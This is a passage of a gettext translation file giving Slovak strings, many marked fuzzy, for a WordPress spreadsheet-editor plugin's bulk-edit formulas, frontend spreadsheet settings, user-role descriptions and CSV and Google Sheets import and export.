                  Výsledok sa zaokrúhli na 2 " "najbližšie desatinné miesta. T.j. 3,845602 sa zmení na 3,85" #: formulas/inc/ui.php:441 formulas/inc/ui.php:462 #, fuzzy msgid "Increase by" msgstr "Zvýšiť o" #: formulas/inc/ui.php:448 #, fuzzy msgid "Increase by number" msgstr "Zvýšte o číslo" #: formulas/inc/ui.php:449 #, fuzzy msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Zvýšte existujúcu hodnotu o číslo.
                  Výsledok sa zaokrúhli na 2 najbližšie " "desatinné miesta. T.j. 3,845602 sa zmení na 3,85" #: formulas/inc/ui.php:469 #, fuzzy msgid "Set value" msgstr "Nastavte hodnotu" #: formulas/inc/ui.php:470 #, fuzzy msgid "" "Replace existing value with this value. Read more" msgstr "" "Nahraďte existujúcu hodnotu touto hodnotou. Čítaj viac" #: formulas/inc/ui.php:484 formulas/inc/ui.php:894 #, fuzzy msgid "Replace" msgstr "Nahradiť" #: formulas/inc/ui.php:485 #, fuzzy msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Nahraďte slovo, frázu alebo číslo novou hodnotou. Čítaj viac" #: formulas/inc/ui.php:494 formulas/inc/ui.php:966 #, fuzzy msgid "Replace this" msgstr "Vymeňte toto" #: formulas/inc/ui.php:498 formulas/inc/ui.php:971 #, fuzzy msgid "With this" msgstr "S tým" #: formulas/inc/ui.php:504 #, fuzzy msgid "Generate excerpt" msgstr "Vytvorte úryvok" #: formulas/inc/ui.php:505 #, fuzzy msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Ak má stĺpec veľmi dlhý text, odstránime html a skrátime ho na počet slov." #: formulas/inc/ui.php:519 #, fuzzy msgid "Maximum number of words" msgstr "Maximálny počet slov" #: formulas/inc/ui.php:526 #, fuzzy msgid "Capitalize words" msgstr "Slová s veľkými písmenami" #: formulas/inc/ui.php:527 #, fuzzy msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Každé slovo v poli napíšte veľké prvé písmeno. T.j. previesť „môj titul“ na " "„Môj titul“." #: formulas/inc/ui.php:546 #, fuzzy msgid "Clear value" msgstr "Jasná hodnota" #: formulas/inc/ui.php:547 #, fuzzy msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Odstráňte existujúcu hodnotu a nechajte pole prázdne. Čítaj viac" #: formulas/inc/ui.php:566 #, fuzzy msgid "Remove duplicates" msgstr "Odstráňte duplikáty" #: formulas/inc/ui.php:567 #, fuzzy msgid "" "Read " "more" msgstr "" "Čítaj " "viac" #: formulas/inc/ui.php:575 #, fuzzy msgid "Which duplicates do you want to delete?" msgstr "Ktoré duplikáty chcete odstrániť?" #: formulas/inc/ui.php:577 #, fuzzy msgid "Delete the newest items and keep the oldest item" msgstr "Odstráňte najnovšie položky a ponechajte najstaršiu položku" #: formulas/inc/ui.php:577 #, fuzzy msgid "Delete the old items and keep the newest item" msgstr "Odstráňte staré položky a ponechajte si najnovšiu položku" #: formulas/inc/ui.php:583 #, fuzzy msgid "Append" msgstr "Pripojiť" #: formulas/inc/ui.php:595 #, fuzzy msgid "Enter the value to append to the existing value." msgstr "Zadajte hodnotu, ktorá sa má pripojiť k existujúcej hodnote." #: formulas/inc/ui.php:601 #, fuzzy msgid "Prepend" msgstr "Predpísať" #: formulas/inc/ui.php:613 #, fuzzy msgid "Enter the value to prepend to the existing value." msgstr "Zadajte hodnotu, ktorá sa má pridať pred existujúcu hodnotu." #: formulas/inc/ui.php:619 #, fuzzy msgid "Custom formula" msgstr "Vlastný vzorec" #: formulas/inc/ui.php:631 #, fuzzy msgid "" "Only for advanced users. Read more." msgstr "" "Len pre pokročilých používateľov. Čítaj viac." #: formulas/inc/ui.php:637 #, fuzzy msgid "Copy from other columns" msgstr "Kopírovať z iných stĺpcov" #: formulas/inc/ui.php:642 #, fuzzy msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Do tohto poľa skopírujte hodnotu ostatných polí.
                  Napríklad skopírujte " "„akciová cena“ do poľa „bežná cena“." #: formulas/inc/ui.php:657 #, fuzzy msgid "Copy from this column" msgstr "Skopírujte z tohto stĺpca" #: formulas/inc/ui.php:686 #, fuzzy msgid "Add time to existing dates" msgstr "Pridajte čas k existujúcim dátumom" #: formulas/inc/ui.php:687 #, fuzzy msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Pridajte hodiny, dni, týždne, mesiace alebo roky k existujúcim dátumom.
                  " "Ak je existujúci dátum prázdny, použijeme ako základ aktuálny dátum." #: formulas/inc/ui.php:699 formulas/inc/ui.php:727 #, fuzzy msgid "Number" msgstr "číslo" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 #, fuzzy msgid "Hours" msgstr "Hodiny" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 #, fuzzy msgid "Days" msgstr "Dni" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 #, fuzzy msgid "Weeks" msgstr "týždňov" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 #, fuzzy msgid "Months" msgstr "Mesiace" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 #, fuzzy msgid "Years" msgstr "rokov" #: formulas/inc/ui.php:708 formulas/inc/ui.php:736 #, fuzzy msgid "Time unit" msgstr "Časová jednotka" #: formulas/inc/ui.php:714 #, fuzzy msgid "Deduct time from existing dates" msgstr "Odpočítajte čas od existujúcich dátumov" #: formulas/inc/ui.php:715 #, fuzzy msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Od existujúcich dátumov odpočítajte počet hodín, dní, týždňov, mesiacov " "alebo rokov.
                  Ak je existujúci dátum prázdny, použijeme ako základ " "aktuálny dátum." #: formulas/inc/ui.php:765 #, fuzzy msgid "We will replace the existing media file(s) with these file(s)." msgstr "Existujúce mediálne súbory nahradíme týmito súbormi." #: formulas/inc/ui.php:776 formulas/inc/ui.php:801 formulas/inc/ui.php:826 #, fuzzy msgid "Upload the files" msgstr "Nahrajte súbory" #: formulas/inc/ui.php:783 formulas/inc/ui.php:808 formulas/inc/ui.php:833 #, fuzzy msgid "File URLs" msgstr "URL súboru" #: formulas/inc/ui.php:784 formulas/inc/ui.php:809 formulas/inc/ui.php:834 #, fuzzy msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "" "Zadajte adresy URL oddelené čiarkami. Môžu byť z vašej vlastnej stránky." #: formulas/inc/ui.php:790 #, fuzzy msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "Nové súbory pripojíme k existujúcim mediálnym súborom." #: formulas/inc/ui.php:815 #, fuzzy msgid "We will append the new file(s) to the existing media file(s)." msgstr "Nové súbory pripojíme k existujúcim mediálnym súborom." #: formulas/inc/ui.php:840 formulas/inc/ui.php:895 #, fuzzy msgid "Replace a media file with other file" msgstr "Nahraďte mediálny súbor iným súborom" #: formulas/inc/ui.php:849 #, fuzzy msgid "Replace these files" msgstr "Nahraďte tieto súbory" #: formulas/inc/ui.php:850 formulas/inc/ui.php:858 #, fuzzy msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "" "Zadajte adresy URL oddelené čiarkami. Musia byť z vašej vlastnej stránky." #: formulas/inc/ui.php:857 #, fuzzy msgid "With these files" msgstr "S týmito súbormi" #: formulas/inc/ui.php:869 #, fuzzy msgid "We will replace the existing media file with this file." msgstr "Existujúci mediálny súbor nahradíme týmto súborom." #: formulas/inc/ui.php:880 #, fuzzy msgid "Upload the file" msgstr "Nahrajte súbor" #: formulas/inc/ui.php:888 #, fuzzy msgid "" "Enter the URL. It can be an URL from your own site (Example http://site." "com/wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Zadajte adresu URL. Môže to byť adresa URL z vašej vlastnej stránky (príklad " "http://site.com/wp-content/uploads/2016/01/file.jpg) alebo externá adresa " "URL." #: formulas/inc/ui.php:904 #, fuzzy msgid "Replace this file" msgstr "Nahraďte tento súbor" #: formulas/inc/ui.php:905 formulas/inc/ui.php:913 #, fuzzy msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Zadajte adresu URL. Musí to byť adresa URL z vašej vlastnej stránky. Príklad:" " http://site.com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:912 #, fuzzy msgid "With this file" msgstr "S týmto súborom" #: formulas/inc/ui.php:949 #, fuzzy msgid "We will replace the existing terms with these terms." msgstr "Existujúce podmienky nahradíme týmito podmienkami." #: formulas/inc/ui.php:954 #, fuzzy msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Zadajte nové výrazy oddelené %s . Môžete pridať hierarchiu ako rodič > dieťa " "> dieťa" #: formulas/inc/ui.php:960 #, fuzzy msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Nahraďte niektoré výrazy novými výrazmi. Čítaj viac" #: formulas/inc/ui.php:967 formulas/inc/ui.php:972 #, fuzzy msgid "You must enter the full hierarchy like parent > child" msgstr "Musíte zadať celú hierarchiu ako rodič > dieťa" #: formulas/inc/ui.php:982 #, fuzzy msgid "Terms" msgstr "Podmienky" #: formulas/inc/ui.php:983 #, fuzzy msgid "Enter the full hierarchy like parent > child" msgstr "Zadajte celú hierarchiu ako rodič > dieťa" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 #, fuzzy msgid "Frontend Spreadsheets" msgstr "Frontendové tabuľky" #: frontend-sheet/frontend-sheet.php:79 #, fuzzy msgid "Login message" msgstr "Prihlasovacia správa" #: frontend-sheet/frontend-sheet.php:80 #, fuzzy msgid "You need to login to view this page." msgstr "Pre zobrazenie tejto stránky sa musíte prihlásiť." #: frontend-sheet/frontend-sheet.php:81 #, fuzzy msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Toto sa zobrazí, keď aktuálny používateľ nie je prihlásený a pokúsi sa " "zobraziť stránku s tabuľkou. Po vašej správe zobrazíme prihlasovací formulár." #: frontend-sheet/frontend-sheet.php:86 #, fuzzy msgid "Hide admin bar on the frontend" msgstr "Skryť panel správcu na frontende" #: frontend-sheet/frontend-sheet.php:87 #, fuzzy msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log out," " edit the current page, etc. If you enable this option we will hide that bar " "and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "V predvolenom nastavení WordPress zobrazuje čierny pruh v hornej časti " "stránky, keď prihlásený používateľ zobrazí frontendovú stránku. Lišta vám " "umožňuje prístup k wp-admin, odhlásenie, úpravu aktuálnej stránky atď. Ak " "povolíte túto možnosť, lištu skryjeme a na zobrazenie odkazu na odhlásenie " "môžete použiť krátky kód: [vg_display_logout_link]." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 #, fuzzy msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Toto logo sa zobrazí nad tabuľkou vo frontende" #: frontend-sheet/frontend-sheet.php:100 #, fuzzy msgid "Menu" msgstr "Ponuka" #: frontend-sheet/frontend-sheet.php:101 #, fuzzy msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "Táto ponuka sa zobrazí v pravej hornej časti nad tabuľkou." #: frontend-sheet/frontend-sheet.php:107 #, fuzzy msgid "Main Color" msgstr "Hlavná farba" #: frontend-sheet/frontend-sheet.php:108 #, fuzzy msgid "This color will be used as background for the header and footer." msgstr "Táto farba sa použije ako pozadie pre hlavičku a pätu." #: frontend-sheet/frontend-sheet.php:115 #, fuzzy msgid "Links Color" msgstr "Farba odkazov" #: frontend-sheet/frontend-sheet.php:116 #, fuzzy msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Táto farba bude použitá pre odkazy ponuky, mala by byť opačná ako farba " "pozadia. tmavé pozadie so svetlým textom alebo svetlé pozadie s tmavým textom" #: frontend-sheet/frontend-sheet.php:212 #, fuzzy msgid "Posts" msgstr "Príspevky" #: frontend-sheet/frontend-sheet.php:213 #, fuzzy msgid "Pages" msgstr "Stránky" #: frontend-sheet/frontend-sheet.php:243 #, fuzzy msgid "Quick settings" msgstr "Rýchle nastavenia" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 #, fuzzy msgid "" " (Premium. Try for Free for 7 " "Days)" msgstr "" "(Premium. Vyskúšajte zadarmo na 7 " "dní )" #: frontend-sheet/frontend-sheet.php:417 #, fuzzy msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Tabuľky" #: frontend-sheet/frontend-sheet.php:418 #, fuzzy msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Tabuľkový hárok" #: frontend-sheet/frontend-sheet.php:419 frontend-sheet/frontend-sheet.php:446 #, fuzzy msgid "Frontend Sheet" msgstr "Frontend Sheet" #: frontend-sheet/frontend-sheet.php:420 #, fuzzy msgid "Post Type" msgstr "Typ príspevku" #: frontend-sheet/frontend-sheet.php:421 #, fuzzy msgid "Spreadsheet Archives" msgstr "Archív tabuliek" #: frontend-sheet/frontend-sheet.php:422 #, fuzzy msgid "Spreadsheet Attributes" msgstr "Atribúty tabuľky" #: frontend-sheet/frontend-sheet.php:423 #, fuzzy msgid "Parent Spreadsheet:" msgstr "Rodičovská tabuľka:" #: frontend-sheet/frontend-sheet.php:424 #, fuzzy msgid "All Spreadsheets" msgstr "Všetky tabuľky" #: frontend-sheet/frontend-sheet.php:425 #, fuzzy msgid "Add New Spreadsheet" msgstr "Pridať novú tabuľku" #: frontend-sheet/frontend-sheet.php:426 #, fuzzy msgid "Add New" msgstr "Pridať nové" #: frontend-sheet/frontend-sheet.php:427 #, fuzzy msgid "New Spreadsheet" msgstr "Nová tabuľka" #: frontend-sheet/frontend-sheet.php:428 #, fuzzy msgid "Edit settings" msgstr "Upraviť nastavenia" #: frontend-sheet/frontend-sheet.php:429 #, fuzzy msgid "Update settings" msgstr "Aktualizujte nastavenia" #: frontend-sheet/frontend-sheet.php:430 #, fuzzy msgid "View Spreadsheet" msgstr "Zobraziť tabuľku" #: frontend-sheet/frontend-sheet.php:431 #, fuzzy msgid "View Spreadsheets" msgstr "Zobraziť tabuľky" #: frontend-sheet/frontend-sheet.php:432 #, fuzzy msgid "Search Spreadsheet" msgstr "Hľadať v tabuľke" #: frontend-sheet/frontend-sheet.php:433 #, fuzzy msgid "Not found" msgstr "Nenájdené" #: frontend-sheet/frontend-sheet.php:434 #, fuzzy msgid "Not found in Trash" msgstr "Nenašiel sa v koši" #: frontend-sheet/frontend-sheet.php:435 #: wp-sheet-editor/dev/inc/api/bootstrap.php:585 msgid "Featured Image" msgstr "Ilustračný obrázok" #: frontend-sheet/frontend-sheet.php:436 msgid "Set featured image" msgstr "Nastaviť ilustračný obrázok" #: frontend-sheet/frontend-sheet.php:437 msgid "Remove featured image" msgstr "Odstrániť ilustračný obrázok" #: frontend-sheet/frontend-sheet.php:438 msgid "Use as featured image" msgstr "Použiť ako ilustračný obrázok" #: frontend-sheet/frontend-sheet.php:439 #, fuzzy msgid "Insert into item" msgstr "Vložiť do položky" #: frontend-sheet/frontend-sheet.php:440 #, fuzzy msgid "Uploaded to this item" msgstr "Nahrané do tejto položky" #: frontend-sheet/frontend-sheet.php:441 #, fuzzy msgid "Spreadsheets list" msgstr "Zoznam tabuliek" #: frontend-sheet/frontend-sheet.php:442 #, fuzzy msgid "Spreadsheets list navigation" msgstr "Navigácia v zozname tabuliek" #: frontend-sheet/frontend-sheet.php:443 #, fuzzy msgid "Filter items list" msgstr "Filtrovať zoznam položiek" #: frontend-sheet/views/backend/metabox.php:6 #, fuzzy msgid "Need help?" msgstr "Potrebujete pomoc?" #: frontend-sheet/views/backend/metabox.php:7 #, fuzzy msgid "Watch tutorial" msgstr "Pozrite si tutoriál" #: frontend-sheet/views/backend/metabox.php:14 #, fuzzy msgid "What information do you want to edit on the frontend?" msgstr "Aké informácie chcete upraviť na frontende?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:185 #: wp-sheet-editor/dev/views/editor-page.php:221 msgid "Save changes" msgstr "Uložiť zmeny" #: frontend-sheet/views/backend/metabox.php:38 #, fuzzy msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Vyberte typ príspevku a uložte zmeny. Po uložení zmien budete môcť vidieť " "zvyšok nastavení a pokynov." #: frontend-sheet/views/backend/metabox.php:52 #, fuzzy msgid "Setup page in the frontend" msgstr "Stránka nastavenia na frontende" #: frontend-sheet/views/backend/metabox.php:54 #, fuzzy msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Na stránke nastavení musíte nastaviť logo. Voliteľne môžete zmeniť farbu " "pozadia, farbu odkazov a nastaviť ponuku hlavičky." #: frontend-sheet/views/backend/metabox.php:60 #, fuzzy msgid "Open Settings Page" msgstr "Otvorte stránku nastavení" #: frontend-sheet/views/backend/metabox.php:62 #, fuzzy msgid "Preview Frontend Editor" msgstr "Náhľad editora frontendu" #: frontend-sheet/views/backend/metabox.php:64 #, fuzzy msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Po dokončení tohto kroku môžete začať používať frontend editor. Frontendovú " "stránku môžete pridať do ponuky alebo zdieľať odkaz so svojimi používateľmi." #: frontend-sheet/views/backend/metabox.php:67 #, fuzzy msgid "Available tools (optional)" msgstr "Dostupné nástroje (voliteľné)" #: frontend-sheet/views/backend/metabox.php:69 #, fuzzy msgid "Tools located above the table." msgstr "Nástroje umiestnené nad stolom." #: frontend-sheet/views/backend/metabox.php:91 #, fuzzy msgid "Columns visibility and Custom Fields (optional)" msgstr "Viditeľnosť stĺpcov a vlastné polia (voliteľné)" #: frontend-sheet/views/backend/metabox.php:108 #, fuzzy msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Umožnite svojim používateľom upravovať vlastné polia, pridávať nové stĺpce " "do editora, povoliť polia, deaktivovať základné polia a triediť polia. " "Frontend editor si môžete úplne prispôsobiť." #: frontend-sheet/views/backend/metabox.php:117 #, fuzzy msgid "Security and user roles (optional)" msgstr "Zabezpečenie a roly používateľov (voliteľné)" #: frontend-sheet/views/backend/metabox.php:120 #, fuzzy msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "Editor je dostupný len pre prihlásených užívateľov. Neznámym používateľom sa " "zobrazí prihlasovací formulár." #: frontend-sheet/views/backend/metabox.php:122 #, fuzzy msgid "User roles" msgstr "Používateľské roly" #: frontend-sheet/views/backend/metabox.php:125 #, fuzzy msgid "Subscriber role is not allowed to use the editor." msgstr "Rola predplatiteľa nemá povolené používať editor." #: frontend-sheet/views/backend/metabox.php:126 #, fuzzy msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "Rola prispievateľa môže prezerať a upravovať iba svoje vlastné príspevky, " "ale nemôže nahrávať obrázky." #: frontend-sheet/views/backend/metabox.php:127 #, fuzzy msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "Rola autora môže prezerať a upravovať iba svoje príspevky, môže nahrávať " "obrázky." #: frontend-sheet/views/backend/metabox.php:128 #, fuzzy msgid "Editor role can view and edit all posts and pages." msgstr "Rola editora môže zobrazovať a upravovať všetky príspevky a stránky." #: frontend-sheet/views/backend/metabox.php:132 #, fuzzy msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • Rola správcu obchodu môže zobrazovať a upravovať produkty WooCommerce." "
                • " #: frontend-sheet/views/backend/metabox.php:136 #, fuzzy msgid "Administrator role can view and edit everything." msgstr "Rola správcu môže všetko prezerať a upravovať." #: frontend-sheet/views/frontend/page-template.php:69 #, fuzzy msgid "Primary Menu" msgstr "Primárne menu" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Upraviť \"%s\"" #: posts-templates/posts-templates.php:65 #, fuzzy msgid "Duplicate items in bulk" msgstr "Hromadné duplikovanie položiek" #: posts-templates/posts-templates.php:71 #, fuzzy msgid "Duplicate this item:" msgstr "Duplikovať túto položku:" #: posts-templates/posts-templates.php:72 #, fuzzy msgid "Enter item name..." msgstr "Zadajte názov položky..." #: posts-templates/posts-templates.php:77 #, fuzzy msgid "How many copies do you want?" msgstr "Koľko kópií chcete?" #: posts-templates/posts-templates.php:79 #, fuzzy msgid "" "Note. More than 75 copies at once might overload the server. Do it in small " "batches.
                  You can continue if you think your server can handle it." msgstr "" "Poznámka. Viac ako 75 kópií naraz môže preťažiť server. Robte to v malých " "dávkach.
                  Ak si myslíte, že váš server to zvládne, môžete pokračovať." #: posts-templates/posts-templates.php:86 #: woocommerce/views/spreadsheet-create-variations-modal.php:104 #, fuzzy msgid "Execute" msgstr "Vykonať" #: posts-templates/posts-templates.php:102 #, fuzzy msgid "Duplicate items in bulk." msgstr "Hromadné duplikovanie položiek." #: posts-templates/posts-templates.php:103 msgid "Duplicate" msgstr "Duplikovať" #: posts-templates/posts-templates.php:166 #, fuzzy msgid "Template item not found or not allowed to be duplicated." msgstr "Položka šablóny sa nenašla alebo nie je povolené duplikovanie." #: spreadsheet-setup/spreadsheet-setup.php:62 #, fuzzy msgid "Enable new spreadsheet" msgstr "Povoliť novú tabuľku" #: spreadsheet-setup/spreadsheet-setup.php:175 #, fuzzy msgid "Post type deleted" msgstr "Typ príspevku bol odstránený" #: spreadsheet-setup/spreadsheet-setup.php:275 #, fuzzy msgid "Setup spreadsheet" msgstr "Nastavenie tabuľky" #: spreadsheet-setup/views/page.php:13 #, fuzzy msgid "Set up Spreadsheet" msgstr "Nastavte tabuľku" #: spreadsheet-setup/views/page.php:17 #: wp-sheet-editor/dev/views/quick-setup.php:39 #, fuzzy msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Tabuľkový editor môžete začať používať už za 5 minút. Postupujte podľa " "týchto krokov." #: spreadsheet-setup/views/page.php:31 #, fuzzy msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "Naozaj chcete odstrániť typ príspevku? Vymažete aj príspevky v type príspevku" #: spreadsheet-setup/views/page.php:35 #: wp-sheet-editor/dev/views/quick-setup.php:46 #, fuzzy msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "Vyberte informácie, ktoré chcete upraviť pomocou tabuľkového editora." #: spreadsheet-setup/views/page.php:38 #, fuzzy msgid "Add new post type" msgstr "Pridať nový typ príspevku" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:185 msgid "Advanced settings" msgstr "Pokročilé nastavenia" #: spreadsheet-setup/views/page.php:45 #, fuzzy msgid "Label" msgstr "Označenie" #: spreadsheet-setup/views/page.php:45 #, fuzzy msgid "Key" msgstr "kľúč" #: universal-sheet/inc/csv-api.php:159 #, fuzzy msgid "Allow to import images from FTP servers?" msgstr "Povoliť import obrázkov zo serverov FTP?" #: universal-sheet/inc/csv-api.php:160 #, fuzzy msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "V predvolenom nastavení umožňuje importér ukladať obrázky pomocou úplných " "interných adries URL, externých adries URL, názvu súboru (z knižnice médií) " "a ID súboru. Ak aktivujete túto možnosť, bude podporovať FTP adresy URL, ako " "je táto: ftp://user:password@host:port/path/to/image.png. Vďaka tomu bude " "import pomalší" #: universal-sheet/inc/csv-api.php:166 #, fuzzy msgid "FTP Images: Skip images with same file name?" msgstr "Obrázky FTP: Preskočiť obrázky s rovnakým názvom súboru?" #: universal-sheet/inc/csv-api.php:167 #, fuzzy msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Keď importujete obrázok pomocou adries URL FTP, obrázok sa importuje " "zakaždým a môžete skončiť s duplikátmi v knižnici médií. Aktivujte túto " "možnosť, ak chcete opätovne použiť obrázky v knižnici médií s rovnakým " "názvom súboru a vyhnúť sa opätovnému sťahovaniu obrázka FTP pri budúcich " "importoch. Deaktivujte túto možnosť, ak chcete, aby boli obrázky pri " "budúcich importoch aktualizované." #: universal-sheet/inc/csv-api.php:215 #, fuzzy msgid "The export does not exist. Please export again." msgstr "Export neexistuje. Exportujte znova." #: universal-sheet/inc/csv-api.php:370 #, fuzzy msgid "Missing required field \"data\"." msgstr "Chýba povinné pole „data“." #: universal-sheet/inc/csv-api.php:458 #, fuzzy msgid "Missing required field. Please start the process again." msgstr "Chýba povinné pole. Začnite proces znova." #: universal-sheet/inc/csv-api.php:463 #, fuzzy msgid "Not allowed." msgstr "Nepovolené." #: universal-sheet/inc/csv-api.php:692 #, fuzzy msgid "" "%d of %d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%d z %d položiek bolo spracovaných zo súboru. Aktualizované položky: " "{total_updated} a vytvorené položky: {total_created}." #: universal-sheet/inc/csv-api.php:715 #, fuzzy msgid "Not allowed. Please start the process again." msgstr "Nepovolené. Začnite proces znova." #: universal-sheet/inc/csv-api.php:732 #, fuzzy msgid "Wrong file url" msgstr "Nesprávna adresa URL súboru" #: universal-sheet/inc/csv-api.php:736 universal-sheet/inc/csv-api.php:751 #: universal-sheet/inc/csv-api.php:778 #, fuzzy msgid "Wrong file extension. We accept CSV only" msgstr "Nesprávna prípona súboru. Akceptujeme iba CSV" #: universal-sheet/inc/csv-api.php:746 universal-sheet/inc/csv-api.php:783 #, fuzzy msgid "File could not be uploaded. Please start the process again." msgstr "Súbor sa nepodarilo nahrať. Začnite proces znova." #: universal-sheet/inc/csv-api.php:759 #, fuzzy msgid "Wrong data format" msgstr "Nesprávny formát údajov" #: universal-sheet/inc/csv-api.php:793 #, fuzzy msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "Súbor bol úspešne nahraný, ale nie je to platný súbor CSV alebo používa " "nesprávne kódovanie. Ak ste súbor upravili v Exceli, overte, či bol uložený " "ako UTF-8, a majte na pamäti, že pri vložení kopírovania z externých miest " "sa niekedy objavia neplatné znaky. Uistite sa teda, že ste prilepili iba " "hodnoty a neprilepili formátovanie, aby ste predišli prilepeniu neplatných " "znakov." #: universal-sheet/inc/csv-api.php:945 #, fuzzy msgid "Processing: %d of %d rows have been exported." msgstr "Spracúva sa: %d z %d riadkov bolo exportovaných." #: universal-sheet/inc/csv-api.php:955 #, fuzzy msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  Export je dokončený.

                  Sťahovanie by sa malo spustiť " "automaticky." #: universal-sheet/inc/csv-api.php:957 #, fuzzy msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor-universal-sheet/exports/ on your server.
                  " "
                  The export files are deleted automatically after %d hours." msgstr "" " Ak sa nespustí automaticky, súbor nájdete v priečinku /wp-" "content/uploads/wp-sheet-editor-universal-sheet/exports/ na vašom serveri." "

                  Exportované súbory sa automaticky odstránia po %d hodinách." #: universal-sheet/inc/google-sheets.php:51 #: universal-sheet/inc/google-sheets.php:65 #: universal-sheet/views/edit-google-sheets-modal.php:4 #, fuzzy msgid "Edit in Google Sheets" msgstr "Upraviť v Tabuľkách Google" #: universal-sheet/inc/google-sheets.php:51 #, fuzzy msgid "" "1. Open Google Sheets." "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in the " "\"quick access\" option in the Google Sheet sidebar." msgstr "" "1. Otvorte Tabuľky Google" " .
                  2. V ponuke kliknite na "wp sheet editor".
                  3. Zadajte " "tento odkaz do možnosti „rýchly prístup“ na bočnom paneli Tabuľky Google." #: universal-sheet/inc/google-sheets.php:51 #, fuzzy msgid "" "Use this link privately for security reasons, this link expires after one " "usage." msgstr "" "Tento odkaz používajte súkromne z bezpečnostných dôvodov, platnosť tohto " "odkazu vyprší po jednom použití." #: universal-sheet/inc/rest-api.php:261 #, fuzzy msgid "JWT is not configurated properly, please contact the admin" msgstr "JWT nie je správne nakonfigurovaný, kontaktujte správcu" #: universal-sheet/inc/rest-api.php:315 #, fuzzy msgid "The quick access link has expired or it does not exist" msgstr "Platnosť odkazu na rýchly prístup vypršala alebo neexistuje" #: universal-sheet/universal-sheet.php:92 #, fuzzy msgid "Ignore this column" msgstr "Ignorujte tento stĺpec" #: universal-sheet/universal-sheet.php:100 #: universal-sheet/views/import-modal.php:131 #, fuzzy msgid "Full URL" msgstr "Úplná adresa URL" #: universal-sheet/universal-sheet.php:136 msgid "Export" msgstr "Export" #: universal-sheet/universal-sheet.php:161 #, fuzzy msgid "Download CSV file" msgstr "Stiahnite si súbor CSV" #: universal-sheet/universal-sheet.php:169 msgid "Import" msgstr "Import" #: universal-sheet/views/edit-google-sheets-modal.php:5 #, fuzzy 